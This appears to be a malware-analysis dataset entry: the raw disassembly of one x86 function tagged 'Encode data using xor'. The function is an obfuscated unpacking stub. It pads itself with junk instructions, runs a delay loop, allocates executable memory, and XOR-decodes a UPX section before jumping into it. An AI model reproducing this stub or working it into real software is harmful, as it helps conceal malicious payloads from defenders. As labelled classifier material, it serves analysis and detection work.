Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x2fddb00b
or ecx, ebx
and ecx, ecx
popal
add ecx, ebx
sub ecx, 0x957561ee
inc ecx
mov ebx, 0
mov edx, edi
not ecx
sub esi, 0x31ce404e
not ecx
mov eax, edx
add ecx, 0x5630c6f9
add ecx, 0x7466e23c
mov edi, eax
and ecx, esi
sub esi, 0x98a44f46
inc ebx
sub ecx, esi
and esi, ecx
cmp ebx, 0x100598e
jne 0xa789c5
sub esi, ecx
mov ecx, 0xa1c3c943
add ecx, ecx
add ebx, ebx
mov ecx, 0xa78796
not esi
add edx, 0x494141a
mov eax, 0xa7898a
and esi, edx
inc esi
dec esi
mov edi, dword [ecx]
mov ebx, 0x280931c0
mov ebx, 0x387c4eba
and edi, 0xff
sub ebx, edx
or edx, ebx
mov esi, 0xabdcb0b3
xor dword [eax], edi
mov esi, 0xc7fd2d17
sub ebx, edx
sub ebx, 0xb64fc202
inc eax
and esi, ebx
mov esi, edx
add esi, 1
inc ecx
mov esi, 0x89df2512
add esi, ebx
add ebx, 0xee64832e
cmp eax, entry0
jl 0xa78a1b
add esi, 0xf03401d4
add edx, 0x65d50557
mov ebx, edx
add edx, edx
add ebx, 0x361c89d4
inc esi
mov edx, 0x29e6135e
add ecx, 0xf3ef6327
mov edi, 0xa7898e
and edx, ebx
add ecx, 1
mov edi, dword [edi]
or edx, esi
add edx, 0xa5fd0eb0
not esi
mov edi, dword [edi]
and ebx, esi
add esi, esi
push edi
sub esi, ecx
sub ebx, esi
mov edx, ecx
mov edi, 0xa7898a
add esi, ebx
sub ecx, edx
mov edi, dword [edi]
inc esi
add esi, edx
mov edi, dword [edi]
sub edx, 0xbed81f5a
sub ebx, 0x95df2f9c
dec edx
push 0xa78992
sub ecx, ebx
or ecx, ebx
call edi
add edx, ecx
or ecx, edx
pop edi
sub ebx, 1
add ecx, 0x6832d0e8
sub ecx, 0x2de8610
push 0xa7899f
mov edx, 0xcb571530
mov ecx, 0x885e3b85
add esi, 0x37d96129
push eax
sub ecx, esi
not edx
call edi
not ebx
not ebx
inc ebx
sub esp, 4
mov dword [esp], 0x40
and ebx, ebx
inc esi
sub esp, 4
mov dword [esp], 0x3000
mov ecx, ebx
or ebx, edx
push 0x2000096b
add esi, edx
sub ecx, 0xa5eb1ba4
push 0
or ebx, ebx
sub ecx, ebx
add ebx, ebx
call eax
sub ecx, 0xda770942
add ebx, edx
add eax, 0x200008cd
inc ecx
sub edx, 1
mov edi, 0x35901ea3
mov edx, 0x2a904268
sub esi, 0x75a52106
mov dword [eax], edi
not edx
add ebx, 1
add edx, 0x1031b55b
mov edi, dword [eax]
add edx, ebx
dec esi
cmp edi, 0x35901ea3
je 0xa78b90
mov edx, 0
mov byte [edx], bl
sub esi, 0x9cebfb7f
and esi, ebx
inc ebx
mov esi, 0x303ce97d
sub ebx, 0xf40f60f2
or esi, esi
mov ecx, 0xa5abd2b9
or ecx, ecx
mov ecx, ebx
mov esi, section.UPX1
sub ebx, 0x1101122
mov ecx, ebx
or ecx, ebx
mov edx, 0xa78795
sub ecx, 0x533a31fa
sub ecx, 0x45bbc16a
not ebx
mov eax, 0
mov ebx, 0x2614251b
add ebx, ecx
sub ecx, 0xbaa98031
mov edi, 0xa78796
sub ebx, 1
add ecx, ecx
lea edi, [edi + eax]
dec ebx
inc ecx
sub ebx, 1
mov edi, dword [edi]
sub ecx, 0xb6e1642b
or ecx, ecx
and edi, 0xff
mov ebx, 0xd92c51b4
add ebx, ecx
inc eax
sub ebx, 0xc663b6ef
or ebx, ecx
cmp eax, 0x1f4
jne 0xa78c28
mov eax, 0
or ecx, ecx
mov ebx, ecx
sub ebx, ecx
add ebx, ebx
xor dword [esi], edi
dec ebx
mov ecx, 0xf5884ba1
mov ebx, ecx
add esi, 2
add ecx, ecx
add ebx, 0x293c2e0c
mov ebx, ecx
cmp esi, edx
jl 0xa78be3
sub ecx, 0xdf2afa0a
or ecx, ecx
sub ecx, 1
and ebx, ecx
inc ebx
mov ecx, section.UPX1
or esi, esi
not esi
inc esi
mov edx, section.UPX1
inc esi
mov edi, esi
mov ebx, 0xa78795
and edi, edi
inc esi
add esi, 1
mov eax, 0
sub edi, esi
sub edi, esi
mov al, byte [edx]
mov edi, esi
inc edi
dec edi
mov byte [ecx], al
not edi
and edi, edi
inc ecx
mov esi, 0x634fa368
add edi, esi
add edx, 2
sub esi, edi
sub esi, 0x9630414f
not esi
cmp edx, ebx
jle 0xa78c8c
mov edi, 0x696b838e
mov edi, 0xe75d8058
or ebx, ecx
add ebx, ecx
push 0x8dc6a0
add ecx, 0x83d04e9d
sub ebx, ecx
mov ecx, ebx
ret